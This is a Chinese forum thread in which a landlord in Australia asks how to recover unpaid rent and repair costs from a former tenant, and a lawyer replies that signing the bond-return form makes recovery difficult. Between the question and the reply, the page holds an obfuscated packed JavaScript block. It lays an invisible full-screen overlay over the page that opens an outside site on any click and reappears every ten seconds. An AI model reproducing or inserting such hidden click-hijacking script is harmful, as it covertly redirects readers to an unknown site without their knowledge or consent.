租客拖欠租金问题

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       房子是我本人的,2011年3月购买房子,当时房子正在出租,到12月到期,这段期间没有找中介管理,而是我们自己管理,租客是个鬼婆单亲妈妈和2个女儿,2011年12月交接房子时,当时出于同情。就签了返还押金的单子(当时押金是在政府机构,需要房东签名才能领取)。但租客还欠我一周半的租金和一些家里设备的维修。直至现在,我一直有发邮件和打电话给她,邮件没有复,电话不接,我英文也不大好,请问怎样才能取回我的租金和要求她维修损坏的设备。谢谢

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script> 本帖最后由 郑玉桂律师 于 2012-5-21 10:59 编辑

您好,我相当同情您的遭遇,但是因为你已经签了返还押金的单子,意味着书面承认接受了租客退房时并没有任何不满,及无条件让她拿回押金。因此你事后再追讨是非常困难,租客也无需承担任何责任。你应该将欠租及其他问题列清楚,才签署无条件返还押金的单子。我认为在法律上向租客追讨是有困难的,提议你去Consumer & Business Services的租务部查询,看看他们是否能提供一点程序上的帮助。

此致
郑玉桂律师敬上
澳大利亚国际公证律师


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